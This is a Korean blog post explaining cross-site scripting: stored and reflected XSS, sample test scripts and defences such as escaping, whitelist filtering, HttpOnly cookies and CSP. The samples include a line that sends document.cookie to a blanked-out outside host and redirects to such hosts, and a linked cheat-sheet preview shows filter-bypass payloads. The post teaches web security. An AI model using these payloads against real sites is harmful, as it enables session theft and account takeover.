티스토리 뷰

Web/Concept

[Concept] XSS (feat. dreamhack)

ch4njun 2020. 9. 17. 14:46
반응형

 

XSS ?
서버의 응답에 공격자가 삽입한 악의적인 Script가 전달되어 사용자의 브라우저에서 실행되는 취약점

 

기본적으로 XSS 공격이 발생하려면 아래 두 가지 조건이 만족되어야 한다.

1. 사용자 입력 데이터에 대한 충분한 검증 과정이 없어야 한다.

2. 서버 응답 데이터가 웹 브라우저 내의 페이지에 출력시 충분한 검증 과정이 없어야 한다.

 

 


XSS 공격의 종류

1. Stored XSS : 악성 Script가 서버내의 DB 또는 File에 저장되어 있다가 사용자로부터 읽어질 때 실행되는 형태의 XSS 공격을 말한다. 해당 DB/File이 실행되는 빈도와 사용자의 수에 따라 파급력이 달라진다.

 

2. Reflected XSS : 악성 Script가 사용자의 HTTP Request시 전송되는 형태이다. 이렇게 전송된 악성 Script가 Response에 포함되는 과정에서 악성 Script가 실행되는 형태의 XSS 공격을 말한다.

특정 URL 링크를 누르도록 유도하는 방식을 통해 URL에 포함된 악성 Script를 HTTP Request에 포함시킬 수 있다.

 

 

악성 Script란?

사용자가 원하지 않은 것을 공격자의 의도에 따라 실행하는 Script이다. 아래의 Script를 넣는 것을 통해 특정 Point에 XSS공격이 발생하는지 확인할 수 있다.

 

// 쿠키 및 세션
alert("ch4njun");
alert(document.cookie);
document.cookie = "name=test"; 
new Image().src = "http://______________/?cookie=" + document.cookie;

// 페이지 변조
document.write("ch4njun");

// 위치 이동
location.href = "http://_____________";
window.open("http://____________");

 

 

XSS 공격 방어법

HTML 태그나 Entity를 입력하지 못하게 막는 것이 가장 확실한 방어책이다.

( 사용자 입력에 대한 <, >, &, ', ... 의 문자를 서버측에서 Escape하고, 클라이언트 측에서 DOM의 textContent, createTextNode 등을 사용해 HTML 태그 등잉 해석되는 것을 방지할 수 있다. )

 

그러나, HTML 태그를 허용해야 하는 상황이 있을 수 있다. 이럴 경우에는 WhiteList Filtering을 통해 허용할 태그를 지정하는 방식을 사용해야 한다. (BlackList Filtering의 경우 다른 마크업 코드를 이용한 공격이 가능하다.)

 

쿠키 생성시 HTTPOnly Flag를 사용해 접근하지 못하도록 하는 방법도 있다.

 

이외에도 Content Security Policy를 사용하는 방법 (CSP), X-XSS-Protection을 사용하는 방법 등 Response Header에 추가해 응답값에 허용되지 않은 Script가 포함되지 않도록 하는 방법이 있다.

 

 

 

XSS Filtering 우회

ch4njun.tistory.com/176?category=809567

 

[Cheat Sheet] XSS Cheat Sheet

1. 잘못된 정규표현식 우회 ' onerror=alert('ch4njun')// \> '>" onerror=alert('ch4njun') /> onerror=alert('ch4njun') /> 2. 키워드 필더링 우회 (r 는 문자인코딩을 통해 r로 바뀐다.) (src에 about:을..

ch4njun.tistory.com

 

반응형

'Web > Concept' 카테고리의 다른 글

[Concept] CSP (feat. dreamhack)  (0) 2020.09.17
[Concept] CSRF (feat. dreamhack)  (0) 2020.09.17
[Concept] Tunneling  (0) 2019.09.16
[Concept] Port Forwarding  (0) 2019.09.16
[Concept] Reverse Shell  (0) 2019.09.01
반응형
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함